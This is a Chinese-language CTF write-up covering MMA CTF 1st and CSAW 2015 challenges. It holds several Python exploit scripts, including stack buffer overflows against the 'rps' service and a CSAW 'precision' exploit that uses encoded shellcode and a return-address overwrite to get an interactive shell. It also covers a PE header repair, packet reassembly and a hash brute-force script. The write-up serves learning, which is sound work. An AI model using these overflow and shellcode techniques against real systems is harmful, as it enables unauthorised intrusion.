mma ctf 1st && csaw 2015

　　(很久以前做的，现在发一下)最近做了两个CTF，水平太渣，做了没几道题，挑几个自己做的记录一下。

　　mma ctf 1st 之 rps:

from socket import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(('milkyway.chal.mmactf.link',1641))
#s.connect(('127.0.0.1',10001))
print s.recv(1024)

payload = 'a'*48 + '\x03\x00\x00\x00\x00\x00\x00\x00'+ '\n'
s.send(payload)
print s.recv(1024)

rand=open("rand")#提前生成rand文件
for line in rand:
    if(line.rstrip()=='1'):
        s.send('S\n')
        print s.recv(1024)
    if(line.rstrip()=='2'):
        s.send('R\n')
        print s.recv(1024)
    if(line.rstrip()=='0'):
        s.send('P\n')
        print s.recv(1024)

print s.recv(1024)
print s.recv(1024)
rand.close()
s.close()

　　flag:

　　赛后，看了他人写的writeup，感觉比我的好多了，也学了不少。

　　poc1:

from pwn import *
from ctypes import *
 
rps = 'RPS'
libc = CDLL("libc.so.6")
libc.srand(0x01010101);
 
def getNextAnswer():
    comp = libc.rand()%3
    mine = (comp + 1) %3
    return rps[mine]
r = remote("milkyway.chal.mmactf.link", 1641)
nama = "A" * 0x30
nama += "\x01"*4
print r.recv()
print "Sending: " + str(nama)
r.send(str(nama) + "\n")
print r.recv()
for j in range(0, 50 ):
    x = getNextAnswer()
    print r.recv()
    print "Sending: " + x + "\n"
    r.send(x + "\n")
    data = r.recv()
    print data 
print r.recv() 
r.close()

　　poc2:不同的思路

from pwn import *
import time
context.binary=”rps”
context.bits=64
addr1=0x00000000006010e8
addr2=0x00000000004008b4
payload=”A”*80
payload+=pack(addr1)
payload+=pack(addr2)
p=remote(“milkyway.chal.mmactf.link”,1641)
msg=p.recvuntil(‘:’)
print msg
p.sendline(payload)
msg=p.recvlines(2)
print msg
p.sendline(“I”)
msg=p.recvall()
print msg

　　mma ctf 1st 之 cannotberun:

　　拿010 editor 改了下IMAGE_DOS_HEADER的e_lfanew成员值。这个成员表明了PE文件头(IMAGE_NT_HEADERS)在PE文件中的偏移。如果这个值为0，则表示该文件是一个DOS MZ可执行文件，如果不为0，就是一个Windows的PE文件。

　　flag:

　　mma ctf 1st 之 splitted:

　　wireshark中follow tcp stream后，就可以发现每个包的位置了，然后就用010 editor重组一下，解压后是个psd文件，在线找了一个photoshop，两个图层，其中一个就是flag。

　　flag:

 

　　赛后看有人直接用 convert flag.psd flag.png ，直接就能看flag了

　　mma ctf 1st 之 simple_hash:

　　这个当时时间有点紧，算法已经弄懂，但是脚本没写出来。赛后，自己写了一个，不过比较慢，还有很大优化的空间。

　　算法是一个

import datetime
import itertools
import string
target = 0x1E1EAB437EEB0
mod = 0x38D7EA4C68025
alphabet = string.ascii_letters + string.digits
def crack(can):
    result = ''
    while(can>0):
        q,r = divmod(can,577)
        if r>=255:
            return ''
        if(chr(r) not in alphabet):
            return ''
        result = result + chr(r)
        if len(result)>10:
            return ''
        can = q
    return result
starttime = datetime.datetime.now()
for i in itertools.count():
    if i%10000000==0:
        print i
    target += mod
    key = crack(target)
    if key != '':
        print 'cool\n'
        print ''.join(reversed(key))
        break
endtime = datetime.datetime.now()
print (endtime - starttime).seconds

 　　csaw pwn precision

from pwn import *
r = remote('54.173.98.115', 1259)
#r = remote('127.0.0.1',10001)
ret = r.recv(1024)[-9:-1]
print 'ret addr: %s' % ret
ret = int(ret,16)
retaddr = p32(ret)

shellcode="\xeb\x1b\x5f\x31\xc0\x6a\x53\x6a\x18\x59\x49\x5b\x8a\x04\x0f"
shellcode += "\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\xef\xeb\x05\xe8"
shellcode += "\xe0\xff\xff\xff\x1c\x7f\xc5\xf9\xbe\xa3\xe4\xff\xb8\xff\xb2"
shellcode += "\xf4\x1f\x95\x4e\xfe\x25\x97\x93\x30\xb6\x39\xb2\x2c"

payload = shellcode + 'a'*(0x80-58) + '\xa5\x31\x5a\x47\x55\x15\x50\x40' + 'b'*12 + retaddr

r.sendline(payload)
r.interactive()